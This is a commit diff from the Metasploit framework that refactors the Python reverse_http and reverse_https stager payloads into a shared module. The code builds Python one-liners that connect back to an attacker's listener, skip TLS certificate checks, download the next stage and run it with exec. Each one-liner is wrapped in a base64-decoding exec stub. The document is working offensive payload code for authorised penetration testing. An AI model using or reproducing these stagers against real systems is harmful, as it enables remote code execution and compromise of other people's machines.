Further reduce python reverse_http duplicate code
parent
bd25ffa48c
commit
1b495e73ac
|
@ -5,7 +5,9 @@ module Msf::Payload::Python
|
|||
|
||||
#
|
||||
# Encode the given python command in base64 and wrap it with a stub
|
||||
# that will decode and execute it on the fly.
|
||||
# that will decode and execute it on the fly. The code will be condensed to
|
||||
# one line and compatible with all Python versions supported by the Python
|
||||
# Meterpreter stage.
|
||||
#
|
||||
# @param cmd [String] The python code to execute.
|
||||
# @return [String] Full python stub to execute the command.
|
||||
|
|
|
@ -10,7 +10,42 @@ module Payload::Python::ReverseHttp
|
|||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Return the longest URL that fits into our available space
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
opts.merge!({
|
||||
host: datastore['LHOST'] || '127.127.127.127',
|
||||
port: datastore['LPORT'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
user_agent: datastore['MeterpreterUserAgent']
|
||||
})
|
||||
opts[:scheme] = 'http' if opts[:scheme].nil?
|
||||
|
||||
generate_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Return the callback URL
|
||||
#
|
||||
def generate_callback_url(opts)
|
||||
# required opts:
|
||||
# host, port, scheme
|
||||
if Rex::Socket.is_ipv6?(opts[:host])
|
||||
target_url = "#{opts[:scheme]}://[#{opts[:host]}]"
|
||||
else
|
||||
target_url = "#{opts[:scheme]}://#{opts[:host]}"
|
||||
end
|
||||
|
||||
target_url << ':'
|
||||
target_url << opts[:port].to_s
|
||||
target_url << '/'
|
||||
target_url << generate_callback_uri
|
||||
target_url
|
||||
end
|
||||
|
||||
#
|
||||
# Return the longest URI that fits into our available space
|
||||
#
|
||||
def generate_callback_uri
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
|
@ -23,6 +58,49 @@ module Payload::Python::ReverseHttp
|
|||
generate_uri_uuid_mode(:init_python, uri_req_len)
|
||||
end
|
||||
|
||||
def generate_reverse_http(opts={})
|
||||
# required opts:
|
||||
# proxy_host, proxy_port, scheme, user_agent
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
proxy_host = opts[:proxy_host]
|
||||
proxy_port = opts[:proxy_port]
|
||||
|
||||
urllib_fromlist = ['\'build_opener\'']
|
||||
urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != ''
|
||||
urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https'
|
||||
urllib_fromlist = '[' + urllib_fromlist.join(',') + ']'
|
||||
|
||||
cmd = "import sys\n"
|
||||
cmd << "vi=sys.version_info\n"
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
||||
cmd << "hs=[]\n"
|
||||
if opts[:scheme] == 'https'
|
||||
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
||||
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
||||
cmd << "\timport ssl\n"
|
||||
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
||||
cmd << "\tsc.check_hostname=False\n"
|
||||
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
||||
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
||||
end
|
||||
|
||||
if proxy_host.to_s != ''
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
cmd << "o=ul.build_opener(*hs)\n"
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
|
||||
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
|
||||
|
||||
py_create_exec_stub(cmd)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/python'
|
||||
require 'msf/core/payload/python/reverse_http'
|
||||
|
||||
module Metasploit4
|
||||
|
@ -12,6 +13,7 @@ module Metasploit4
|
|||
CachedSize = 466
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::ReverseHttp
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -33,51 +35,4 @@ module Metasploit4
|
|||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
lhost = datastore['LHOST'] || '127.127.127.127'
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
target_url = "http://[#{lhost}]"
|
||||
else
|
||||
target_url = "http://#{lhost}"
|
||||
end
|
||||
|
||||
target_url << ':'
|
||||
target_url << datastore['LPORT'].to_s
|
||||
target_url << '/'
|
||||
target_url << generate_callback_uri
|
||||
|
||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
||||
|
||||
cmd = "import sys\n"
|
||||
if proxy_host == ''
|
||||
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
||||
else
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
||||
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/python'
|
||||
require 'msf/core/payload/python/reverse_http'
|
||||
|
||||
module Metasploit4
|
||||
|
@ -12,6 +13,7 @@ module Metasploit4
|
|||
CachedSize = 762
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::ReverseHttp
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -37,60 +39,7 @@ module Metasploit4
|
|||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
lhost = datastore['LHOST'] || '127.127.127.127'
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
target_url = "https://[#{lhost}]"
|
||||
else
|
||||
target_url = "https://#{lhost}"
|
||||
end
|
||||
|
||||
target_url << ':'
|
||||
target_url << datastore['LPORT'].to_s
|
||||
target_url << generate_callback_uri
|
||||
|
||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
||||
|
||||
if proxy_host == ''
|
||||
urllib_fromlist = "['HTTPSHandler','build_opener']"
|
||||
else
|
||||
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
|
||||
end
|
||||
|
||||
cmd = "import sys\n"
|
||||
cmd << "vi=sys.version_info\n"
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
||||
cmd << "hs=[]\n"
|
||||
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
||||
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
||||
cmd << "\timport ssl\n"
|
||||
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
||||
cmd << "\tsc.check_hostname=False\n"
|
||||
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
||||
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
||||
|
||||
if proxy_host != ''
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
cmd << "o=ul.build_opener(*hs)\n"
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
super({scheme: 'https'})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue